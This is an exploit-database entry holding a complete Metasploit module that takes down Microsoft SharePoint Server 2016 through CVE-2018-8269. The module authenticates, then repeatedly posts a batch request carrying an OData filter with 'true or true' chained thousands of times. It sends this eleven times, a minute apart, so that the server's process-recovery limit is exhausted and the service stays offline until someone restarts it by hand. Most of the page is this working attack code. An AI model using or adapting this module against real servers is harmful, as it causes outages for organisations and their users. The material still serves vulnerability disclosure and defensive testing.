Microsoft Office SharePoint Server 2016 Denial Of Service

2019.01.10
Credit: Gal Zror
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-19


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'sharepoint-ruby' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'DOS Vulnerability in SharePoint 2016 Server', 'Description' => %q{ A vulnerability in Microsoft SharePoint Server could allow a remote attacker to make the server unavailable. The vulnerability is a result of the dependency SharePoint has in Microsoft.Data.OData library which was vulnerable to remote DOS (See CVE-2018-8269). The exploit is done by sending a crafted request that contains an OData filter that triggers the vulnerability in Microsoft.Data.OData library. Sending such request, will terminate the process that runs the server. By default, SharePoint server is configured to recover a terminated process, but it will do so only 10 times. If more than 10 malicious requests are sent in 5 minutes interval, the server will not recover and will be down until it is manually restarted. }, 'Author' => [ 'Gil Mirmovitch', # Vulnerability discover and poc 'Gal Zror' # Metasploit module ], 'Platform' => 'win', 'References' => [ [ 'CVE', '2018-8269' ], [ 'ALEPH', '2018002' ] ], 'Targets' => [ [ 'Microsoft Office SharePoint Server 2016', { } ], ], )) register_options( [ Opt::RPORT(443), OptString.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), OptString.new('USERNAME', [true, 'The username to login with']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('VHOST', [true, 'HTTP server virtual host']) ], self.class) end def fetch_auth_cookie print_status("Fetching Authentication Cookie") begin site = Sharepoint::Site.new vhost, 'server-relative-site-url' site.session.authenticate datastore['USERNAME'], datastore['PASSWORD'] return site.session.cookie rescue Sharepoint::Session::AuthenticationFailed fail_with(Failure::NoAccess, "Authentication failed") end print_good("Authentication Succeeded") end def extract_digest_value(cookie) token_api_uri = '/_api/contextinfo' res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(token_api_uri), 'cookie' => cookie, }) if res.nil? fail_with(Failure::UnexpectedReply, "Empty context response") end res.get_xml_document.xpath('//d:FormDigestValue').text end def send_dos_request send_request(6100) end def send_innocent_request send_request(5) end def send_request(reps) vuln_api_uri = "/_api/$batch" cookie = datastore['COOKIE'] data = Rex::MIME::Message.new data.add_part( "GET /_api/web/lists?$filter=true" + "+or+true" * reps + " HTTP/1.1\r\n" + "accept: application/json;odata.metadata=minimal\r\n", #Data is our payload 'application/http', #Content Type 'binary', #Transfer Encoding nil #Content Disposition ) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(vuln_api_uri), 'ctype' => "multipart/mixed; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => cookie, 'headers' => { 'x-requestdigest' => extract_digest_value(cookie), } }) end def dos print_status("Sending DOS malicious requests...") (0..10).each {|i| print_status("Countdown #{10 - i}...") send_dos_request sleep(60) } end def check datastore['COOKIE'] = fetch_auth_cookie print_status("Sending innocent request...") res = send_innocent_request if res && res.code == 200 print_good("Server responded 200 to innocent request") else print_bad("Server response " + res.code.to_s + " to innocent request") return Exploit::CheckCode::Unknown end print_status("Sending malicious request...") res = send_dos_request if res.nil? Exploit::CheckCode::Vulnerable else print_bad("Server response " + res.code.to_s + " to malicious request") Exploit::CheckCode::Safe end end def run if check == Exploit::CheckCode::Vulnerable dos end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top